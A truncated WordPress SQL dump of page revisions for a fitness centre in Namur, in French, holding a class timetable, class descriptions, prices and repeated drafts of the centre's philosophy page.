(284, 1, '2013-07-04 16:29:04', '2013-07-04 16:29:04', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-04 16:29:04', '2013-07-04 16:29:04', '', 11, 'http://www.crosstrainingcenter.be/?p=284', 0, 'revision', '', 0),
(104, 1, '2013-06-16 13:47:09', '2013-06-16 13:47:09', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-96 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-98 alignleft\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;Afin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 13:47:09', '2013-06-16 13:47:09', '', 5, 'http://www.crosstrainingcenter.be/?p=104', 0, 'revision', '', 0),
(77, 1, '2013-06-16 10:26:16', '2013-06-16 10:26:16', '&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-52 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x127.png\&quot; width=\&quot;300\&quot; height=\&quot;127\&quot; /&gt;&lt;/a&gt;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle, en privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis. Ce dosage subtil définit la qualité de l\'entraînement.\r\n\r\n&amp;nbsp;\r\n\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 10:26:16', '2013-06-16 10:26:16', '', 5, 'http://www.crosstrainingcenter.be/?p=77', 0, 'revision', '', 0),
(79, 1, '2013-06-16 12:22:37', '2013-06-16 12:22:37', '&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-52 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x127.png\&quot; width=\&quot;300\&quot; height=\&quot;127\&quot; /&gt;&lt;/a&gt;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle, en privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis. Ce dosage subtil définit la qualité de l\'entraînement.\r\n\r\n&amp;nbsp;\r\n\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n\r\n[widgets_on_pages id=\&quot;objectif\&quot;]\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 12:22:37', '2013-06-16 12:22:37', '', 5, 'http://www.crosstrainingcenter.be/?p=79', 0, 'revision', '', 0),
(80, 1, '2013-06-16 12:48:30', '2013-06-16 12:48:30', '&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-78 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x98.png\&quot; width=\&quot;300\&quot; height=\&quot;98\&quot; /&gt;&lt;/a&gt;Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle, en privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis. Ce dosage subtil définit la qualité de l\'entraînement.\r\n\r\n&amp;nbsp;\r\n\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n\r\n[widgets_on_pages id=\&quot;objectif\&quot;]\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 12:48:30', '2013-06-16 12:48:30', '', 5, 'http://www.crosstrainingcenter.be/?p=80', 0, 'revision', '', 0),
(81, 1, '2013-06-16 12:49:14', '2013-06-16 12:49:14', '&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-78 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x98.png\&quot; width=\&quot;300\&quot; height=\&quot;98\&quot; /&gt;&lt;/a&gt;\r\n\r\n&amp;nbsp;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle, en privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis. Ce dosage subtil définit la qualité de l\'entraînement.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n\r\n&amp;nbsp;\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 12:49:14', '2013-06-16 12:49:14', '', 5, 'http://www.crosstrainingcenter.be/?p=81', 0, 'revision', '', 0);
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(82, 1, '2013-06-16 12:50:14', '2013-06-16 12:50:14', '&lt;h2&gt;Titre de blabla&lt;/h2&gt;\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-78 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x98.png\&quot; width=\&quot;300\&quot; height=\&quot;98\&quot; /&gt;&lt;/a&gt;\r\n\r\n&amp;nbsp;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle, en privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis. Ce dosage subtil définit la qualité de l\'entraînement.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n\r\n&amp;nbsp;\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 12:50:14', '2013-06-16 12:50:14', '', 5, 'http://www.crosstrainingcenter.be/?p=82', 0, 'revision', '', 0),
(83, 1, '2013-06-16 12:52:57', '2013-06-16 12:52:57', '&lt;h2&gt;Titre de blabla&lt;/h2&gt;\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-78 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x98.png\&quot; width=\&quot;300\&quot; height=\&quot;98\&quot; /&gt;&lt;/a&gt;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n\r\n&amp;nbsp;\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de 